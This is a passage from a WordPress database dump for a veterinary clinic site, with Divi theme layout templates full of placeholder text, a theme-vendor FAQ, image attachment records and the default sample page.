portrait_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-225px.png\" quote_icon=\"off\" use_background_color=\"on\" background_color=\"#f5f5f5\" background_layout=\"light\" text_orientation=\"left\"]\"Lorem ipsum dolor sit amet, consectetur adipiscing elit. In in risus eget lectus suscipit malesuada. Maecenas ut urna mollis, aliquam eros at, laoreet metus. Proin ac eros eros. Suspendisse auctor, eros ac sollicitudin vulputate, urna arcu sodales quam, eget faucibus eros ante nec enim.\r\n\r\nEtiam quis eros in enim molestie tempus a non urna. Suspendisse nibh massa, tristique sit amet interdum non, fermentum in quam. \"[/et_pb_testimonial][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_testimonial admin_label=\"Testimonial\" author=\"Luke Chapman\" url_new_window=\"off\" portrait_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-225px.png\" quote_icon=\"off\" use_background_color=\"on\" background_color=\"#f5f5f5\" background_layout=\"light\" text_orientation=\"left\"]\"Lorem ipsum dolor sit amet, consectetur adipiscing elit. In in risus eget lectus suscipit malesuada. Maecenas ut urna mollis, aliquam eros at, laoreet metus. Proin ac eros eros. Suspendisse auctor, eros ac sollicitudin vulputate, urna arcu sodales quam, eget faucibus eros ante nec enim.\r\n\r\nEtiam quis eros in enim molestie tempus a non urna. Suspendisse nibh massa, tristique sit amet interdum non, fermentum in quam. \"[/et_pb_testimonial][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_testimonial admin_label=\"Testimonial\" author=\"Luke Chapman\" url_new_window=\"off\" portrait_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-225px.png\" quote_icon=\"off\" use_background_color=\"on\" background_color=\"#f5f5f5\" background_layout=\"light\" text_orientation=\"left\"]\"Lorem ipsum dolor sit amet, consectetur adipiscing elit. In in risus eget lectus suscipit malesuada. Maecenas ut urna mollis, aliquam eros at, laoreet metus. Proin ac eros eros. Suspendisse auctor, eros ac sollicitudin vulputate, urna arcu sodales quam, eget faucibus eros ante nec enim.\r\n\r\nEtiam quis eros in enim molestie tempus a non urna. Suspendisse nibh massa, tristique sit amet interdum non, fermentum in quam. \"[/et_pb_testimonial][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#eeeeee\" inner_shadow=\"on\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/et-logo.png\" show_in_lightbox=\"off\" url_new_window=\"off\" animation=\"bottom\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/et-logo.png\" show_in_lightbox=\"off\" url_new_window=\"off\" animation=\"bottom\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/et-logo.png\" show_in_lightbox=\"off\" url_new_window=\"off\" animation=\"bottom\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/et-logo.png\" show_in_lightbox=\"off\" url_new_window=\"off\" animation=\"bottom\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"center\"]<h1>Frequently Asked Questions</h1>[/et_pb_text][et_pb_toggle admin_label=\"Toggle\" title=\"Can I use the themes on multiple sites?\" open=\"off\"]Yes, you are free to use our themes on as many websites as you like. We do not place any restrictions on how many times you can download or use a theme, nor do we limit the number of domains that you can install our themes to.[/et_pb_toggle][et_pb_toggle admin_label=\"Toggle\" title=\"What is your refund policy?\" open=\"on\"]We offer no-questions-asked refunds to all customers within 30 days of your purchase. If you are not satisfied with our product, then simply send us an email and we will refund your purchase right away. Our goal has always been to create a happy, thriving community. If you are not thrilled with the product or are not enjoying the experience, then we have no interest in forcing you to stay an unhappy member.[/et_pb_toggle][et_pb_toggle admin_label=\"Toggle\" title=\"What are Photoshop Files?\" open=\"off\"]Elegant Themes offers two different packages: Personal and Developer. The Personal Subscription is ideal for the average user while the Developers License is meant for experienced designers who wish to customize their themes using the original Photoshop files. Photoshop files are the original design files that were used to create the theme. They can be opened using Adobe Photoshop and edited, and prove very useful for customers wishing to change their theme\'s design in some way.[/et_pb_toggle][et_pb_toggle admin_label=\"Toggle\" title=\"Can I upgrade after signing up?\" open=\"off\"]Yes, you can upgrade at any time after signing up. When you log in as a \"personal\" subscriber, you will see a notice regarding your current package and instructions on how to upgrade.[/et_pb_toggle][et_pb_toggle admin_label=\"Toggle\" title=\"Can I use your themes with WP.com?\" open=\"off\"]Unfortunately WordPress.com does not allow the use of custom themes. If you would like to use a custom theme of any kind, you will need to purchase your own hosting account and install the free software from WordPress.org. If you are looking for great WordPress hosting, we recommend giving HostGator a try.[/et_pb_toggle][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" inner_shadow=\"on\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" title=\"Don\'t Be Shy\" button_url=\"#\" button_text=\"Get In Touch\" use_background_color=\"off\" background_color=\"#108bf5\" background_layout=\"dark\" text_orientation=\"center\"]If we didn\'t answer all of your questions, feel free to drop us a line anytime.[/et_pb_cta][/et_pb_column][/et_pb_row][/et_pb_section]','Sales Page','','publish','open','open','','sales-page','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=34',0,'et_pb_layout','',0),(35,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section background_color=\"#2ea3f2\" inner_shadow=\"off\" parallax=\"on\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_blurb admin_label=\"Blurb\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/d2-300px.png\" animation=\"bottom\" background_layout=\"light\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#45c4ec\" use_circle=\"off\" circle_color=\"#45c4ec\" use_circle_border=\"off\" circle_border_color=\"#45c4ec\" icon_placement=\"top\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"center\"]<h1 style=\"font-size: 72px; font-weight: 300;\">Divi Case Study</h1>[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h2>The Challenge</h2>\r\nVivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl. Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl.[/et_pb_text][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h2>The Solution</h2>\r\nVivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl. Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl.[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"on\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"on\"][et_pb_slide heading=\"Complete Corporate Identity\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\" /][et_pb_slide heading=\"We Rethought Everything\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\" /][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#353535\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Corporate Rebranding\" number=\"70\" percent_sign=\"on\" background_layout=\"dark\" counter_color=\"#2ea3f2\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Website Redesign\" number=\"30\" percent_sign=\"on\" background_layout=\"dark\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Day Turnaround\" number=\"60\" percent_sign=\"off\" background_layout=\"dark\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Amazing Result\" number=\"1\" percent_sign=\"off\" background_layout=\"dark\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#2ea3f2\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_2\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"90\" /][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"left\"]<h1>Mobile Site Boosted Sales By 50%</h1>[/et_pb_text][et_pb_blurb admin_label=\"Blurb\" title=\"Mobile Refresh\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#ffffff\" use_circle=\"off\" circle_color=\"#2caaca\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"left\" animation=\"right\" background_layout=\"dark\" text_orientation=\"left\"]The Challenge Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor[/et_pb_blurb][et_pb_blurb admin_label=\"Blurb\" title=\"Rebuilt From the Inside Out\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#ffffff\" use_circle=\"off\" circle_color=\"#2caaca\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"left\" animation=\"right\" background_layout=\"dark\" text_orientation=\"left\"]The Challenge Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor[/et_pb_blurb][et_pb_blurb admin_label=\"Blurb\" title=\"Extensive Demographic Studies\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#ffffff\" use_circle=\"off\" circle_color=\"#2caaca\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"left\" animation=\"right\" background_layout=\"dark\" text_orientation=\"left\"]The Challenge Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/mobile-lockup.png\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#353535\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"60\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_2\"][et_pb_counters admin_label=\"Bar Counters\" background_layout=\"light\" background_color=\"#2e2e2e\"][et_pb_counter percent=\"80\"]Mobile Sales[/et_pb_counter][et_pb_counter percent=\"50\"]Website Traffic[/et_pb_counter][et_pb_counter percent=\"75\"]Conversion Rate[/et_pb_counter][et_pb_counter percent=\"60\"]Email Subscribers[/et_pb_counter][/et_pb_counters][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_cta admin_label=\"Call To Action\" title=\"The Results Were Amazing\" button_url=\"#\" button_text=\"Live Project\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"dark\" text_orientation=\"left\"]Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl. Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl.[/et_pb_cta][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"60\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"on\" specialty=\"off\" inner_shadow=\"off\" parallax=\"off\" background_color=\"#2e2e2e\"][et_pb_fullwidth_portfolio admin_label=\"Fullwidth Portfolio\" fullwidth=\"on\" show_title=\"on\" show_date=\"off\" background_layout=\"dark\" auto=\"off\" title=\"Related Case Studies\" /][/et_pb_section]','Case Study','','publish','open','open','','case-study','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=35',0,'et_pb_layout','',0),(36,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section background_color=\"#132c47\" inner_shadow=\"off\" parallax=\"on\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"60\" /][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"center\"]<h1 style=\"font-size: 52px;\">Product Features</h1>[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" url_new_window=\"off\" animation=\"bottom\" show_in_lightbox=\"off\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_4\"][et_pb_blurb admin_label=\"Blurb\" title=\"Advanced Page Builder\" url_new_window=\"off\" animation=\"top\" background_layout=\"dark\" text_orientation=\"center\" use_icon=\"on\" use_circle=\"on\" circle_color=\"#0d2035\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"top\" font_icon=\"\" icon_color=\"#2ea3f2\"]Divi will change the way you build websites forever. The advanced page builder makes it possible to build truly dynamic pages without learning code.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_blurb admin_label=\"Blurb\" title=\"Key Elements\" url_new_window=\"off\" animation=\"top\" background_layout=\"dark\" text_orientation=\"center\" use_icon=\"on\" use_circle=\"on\" circle_color=\"#0d2035\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"top\" font_icon=\"\" icon_color=\"#2ad4e0\"]The builder comes packed with tons of great modules, and more are on the way! Combine and arrange them in any order. The possibilities are countless.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_blurb admin_label=\"Blurb\" title=\"Target Audience\" url_new_window=\"off\" animation=\"top\" background_layout=\"dark\" text_orientation=\"center\" use_icon=\"on\" icon_color=\"#9633e8\" use_circle=\"on\" circle_color=\"#0d2035\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"top\" font_icon=\"\"]Divi’s layout has been designed with mobile devices in mind. No matter how you use it, and no matter how you view it, your website is going to look great.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_blurb admin_label=\"Blurb\" title=\"Strategy\" url_new_window=\"off\" image=\"http://elegantthemes.com/preview/Divi2/wp-content/uploads/2014/04/blurb-icon-updates.png\" animation=\"top\" background_layout=\"dark\" text_orientation=\"center\" use_icon=\"on\" icon_color=\"#d85fd6\" use_circle=\"on\" circle_color=\"#0d2035\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"top\" font_icon=\"\"]Divi is here to stay, and you can rest easy knowing that our team will be updating and improving it for years to come. Build on top of a powerful foundation.[/et_pb_blurb][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\" module_id=\"builder\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"center\"]<h1>Advanced Drag & Drop Builder</h1>\r\nThe Divi Builder was made with user experience at the forefront of its priorities. The way it is broken up into sections, rows, columns and widgets, really allows you to understand and edit the structure of your page. Your editing controls are pulled out of the main content area so that you get a clear and concise representation of how your modules fit into your page layout.[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1080px.jpg\" url_new_window=\"off\" animation=\"right\" show_in_lightbox=\"off\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"on\" module_id=\"backgrounds\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"off\"][et_pb_slide heading=\"All The Right Things\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec  eleifend tincidunt nisi.Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec  eleifend tincidunt nisi.[/et_pb_slide][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#283139\" inner_shadow=\"off\" parallax=\"off\" module_id=\"mobile\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"center\"]\r\n<h1>Fully Responsive Layouts</h1>\r\nWe know that your website needs to be accessible and readable on all devices. We made Divi fully responsive so that your designs look great no matter what. With the builder, you design your desktop website, and we make sure that Divi does the heavy lifting for you.\r\n\r\n[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1080px.jpg\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\" module_id=\"layouts\"][et_pb_row][et_pb_column type=\"1_2\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-510px.jpg\" url_new_window=\"off\" animation=\"right\" show_in_lightbox=\"off\" /][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"70\" /][et_pb_cta admin_label=\"Call To Action\" title=\"Product Feature\" button_url=\"#\" button_text=\"Learn More\" use_background_color=\"off\" background_color=\"#2caaca\" background_layout=\"light\" text_orientation=\"left\"]Divi Ships with a tone of great premade layouts to get you started with a homepage, a portfolio, an eCommerce Storefront, and much more! Check out the theme demo to preview a few of these premade layouts. We\'ve even realeased layout packs along the way for portfolios and business focused websites.[/et_pb_cta][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_2\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"40\" /][et_pb_cta admin_label=\"Call To Action\" title=\"Product Feature\" button_url=\"#\" button_text=\"Learn More\" use_background_color=\"off\" background_color=\"#2caaca\" background_layout=\"light\" text_orientation=\"right\"]Divi Ships with a tone of great premade layouts to get you started with a homepage, a portfolio, an eCommerce Storefront, and much more! Check out the theme demo to preview a few of these premade layouts. We\'ve even realeased layout packs along the way for portfolios and business focused websites.[/et_pb_cta][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-510px.jpg\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#f74b47\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" title=\"Signup Today For Instant Access\" button_url=\"#\" button_text=\"Join Today\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"dark\" text_orientation=\"center\"]Join today and get access to Divi, as well as our other countless themes and plugins.[/et_pb_cta][/et_pb_column][/et_pb_row][/et_pb_section]','Product Features','','publish','open','open','','product-features','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=36',0,'et_pb_layout','',0),(37,1,'2015-02-16 01:24:09','2015-02-16 01:24:09','Small dog footprints in the sand.','Feet in sand','','inherit','open','open','','feet-in-sand','','','2015-02-16 01:25:37','2015-02-16 01:25:37','',0,'http://battlegroundvet.com/wordpress1/wordpress1/wp-content/uploads/2015/02/Feet-in-sand.jpg',0,'attachment','image/jpeg',0),(39,1,'2015-02-16 01:49:48','2015-02-16 01:49:48','Tiny puppy.','tinypuppy','Through all phases of life we provide the best care possible.','inherit','open','open','','tinypuppy','','','2015-02-16 01:50:54','2015-02-16 01:50:54','',0,'http://battlegroundvet.com/wordpress1/wordpress1/wp-content/uploads/2015/02/tinypuppy.jpg',0,'attachment','image/jpeg',0),(40,1,'2015-02-16 01:53:16','2015-02-16 01:53:16','This is an example page. It\'s different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:\n\n<blockquote>Hi there! I\'m a bike messenger by day, aspiring actor by night, and this is my blog. I live in Los Angeles, have a great dog named Jack, and I like pi&#241;a coladas. (And gettin\' caught in the rain.)</blockquote>\n\n...or something like this:\n\n<blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>\n\nAs a new WordPress user, you should go to <a href=\"http://battlegroundvet.com/wordpress1/wordpress1/wp-admin/\">your dashboard</a> to delete this page and create new pages for your content. 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